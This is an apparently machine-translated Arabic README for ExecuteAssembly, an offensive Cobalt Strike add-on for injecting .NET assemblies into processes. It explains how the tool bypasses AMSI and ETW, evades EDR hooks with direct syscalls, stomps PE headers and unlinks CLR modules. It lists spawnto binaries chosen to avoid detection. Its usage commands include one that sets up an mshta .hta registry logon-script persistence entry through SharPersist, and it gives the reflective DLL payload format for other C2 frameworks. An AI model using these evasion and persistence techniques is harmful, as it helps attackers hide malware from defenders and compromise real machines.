
تحميل/حقن تجميعات .NET عن طريق؛ إعادة استخدام مدير مجال التطبيق CLR المحمّل بعملية المضيف (spawnto)، تجاوز رؤوس DOS (PE) لبرنامج التحميل/تجميعة .NET، إلغاء ربط الوحدات المرتبطة بـ .NET، تجاوز ETW+AMSI، تجنب خطافات EDR عبر استدعاءات NT الثابتة (x64) وإخفاء الواردات عن طريق حل APIs ديناميكيًا (باستخدام التجزئة).
ExecuteAssembly هو بديل لـ CS execute-assembly، مبني بلغة C/C++ ويمكن استخدامه لتحميل/حقن تجميعات .NET عن طريق: إعادة استخدام وحدات CLR المحملة / AppDomainManager في العملية المضيفة (spawnto)، دهس رؤوس محمل/تجميع .NET DOS، فصل وحدات .NET ذات الصلة، تجاوز ETW+AMSI، تجنب ربطات EDR عبر استدعاءات النظام الثابتة (x64) وإخفاء الواردات عبر تحليل واجهات برمجة التطبيقات ديناميكيًا باستخدام خوارزمية التجزئة superfasthash.
x64 (استدعاءات النظام): هذا الإصدار يعتمد بشكل أساسي على استخدام استدعاءات النظام الثابتة لتجاوز ربطات EDR، يمكنك استخدام هذا الإصدار لبناء إصدار x64 من DLL فقط (دعم x64 فقط حاليًا).
x86|x64 (PEB): يسترجع عناوين API المطلوبة ديناميكيًا في وقت التشغيل عن طريق السير في جداول EAP لوحدات PEB وتحليل واجهات API عبر تجزئة superfasthash. ومع ذلك، لا يأخذ في الاعتبار ربطات EDR الموضوعة إما على kernel32.dll أو ntdll.dll، يمكنك استخدام هذا الإصدار لبناء كل من DLLs x86 و x64 أو فقط DLL x86 واستخدام إصدار x64 (استدعاءات النظام) لبناء DLL x64 لحساب ربطات EDR الشائعة.
قم ببناء DLLs المطلوبة باستخدام VS2017 و/أو Windows SDK 10.0.17134.0 (أو إصدارات SDK المتوافقة).
تأكد من تثبيت gzip وأن القطع الأثرية التالية موجودة في نفس المجلد ثم قم فقط بتحميل سكريبت aggressor "ExecuteAssembly.cna":
ExecuteAssembly.cna
ExecuteAssembly-x64.dll
ExecuteAssembly-x86.dll
خيارات CLI:
--dotnetassembly: تجميع .NET للتحميل/الحقن.
--assemblyargs: وسائط تجميع .NET.
--unlink-modules: فصل وحدات .NET ذات الصلة مثل CLR/MsCoree DLLs من هياكل بيانات PEB.
--stomp-headers: دهس رؤوس تجميع .NET و DLL الانعكاسي PE.
--etw: تجاوز تتبع الأحداث في Windows (ETW).
--amsi: تجاوز AMSI.
--spawnto: اختر عملية spawnto، قائمة بثنائيات .NET التي تحمل CLR افتراضيًا عند التنفيذ:
- PresentationHost.exe
- stordiag.exe
- ScriptRunner.exe
- caitstatic.exe
- Microsoft.Uev.SyncController.exe
- TsWpfWrp.exe
- UevAgentPolicyGenerator.exe
- UevAppMonitor.exe
- FileHistory.exe
- UevTemplateBaselineGenerator.exe
- UevTemplateConfigItemGenerator.exe
تحقق من spawnto-list.txt للحصول على ثنائيات MS إضافية تحمل CLR افتراضيًا وهي مرشحة جيدة لتعيينها كـ spawnto. (ستتجنب LOLBins المعروفة إلا إذا كان جهاز مطور ربما)
ExecuteAssembly --dotnetassembly /tmp/Seatbelt.exe --assemblyargs LogonSessions --unlink-modules --stomp-headers --amsi --etw --spawnto PresentationHost.exeExecuteAssembly --amsi --etw --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -c "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test2.hta" -k logonscript -m add --spawnto FileHistory.exeExecuteAssembly --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -k "logonscript" -v "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test.hta" -m remove --spawnto FileHistory.exeExecuteAssembly --unlink-modules --amsi --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query computername=localhost query="select * from win32_service" --spawnto FileHistory.exeExecuteAssembly --amsi --etw --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query query="select * from win32_process" --spawnto PresentationHost.exeتم إنشاؤها واختبارها بشكل أساسي على Cobalt Strike، ومع ذلك يمكن استخدامها مع أطر C2 أخرى أيضًا (MSF .. إلخ)، فقط ضع في اعتبارك أن DLLMAIN الخاص بـ DLL الانعكاسي يتوقع الحمولة المكونة من سطر واحد كمعامل (lpReserved) بالتنسيق التالي (بدون "؛"):
AMSI_FLAG|ETW_FLAG|STOMPHEADERS_FLAG|UNLINKMODULES_FLAG|LL_FLAG.LENGTH_FLAG.B64_ENCODED_COMPRESSED_PAYLOAD [وسائط مفصولة بمسافة]
AMSI_FLAG: 0|1 (إما 0 أو 1)ETW_FLAG: 0|1STOMPHEADERS_FLAG: 0|1UNLINKMODULES_FLAG: 0|1LENGTH_FLAG: حجم تجميع .NET بالبايتLL_FLAG: طول (LENGTH_FLAG) (فقط تحمل معي هنا أو تظاهر أنك لم تقرأ هذا)B64_ENCODED_COMPRESSED_PAYLOAD: تجميع .NET مضغوط بـ Gzip ومشفر بـ Base64.[وسائط مفصولة بمسافة]: وسائط تجميع .NET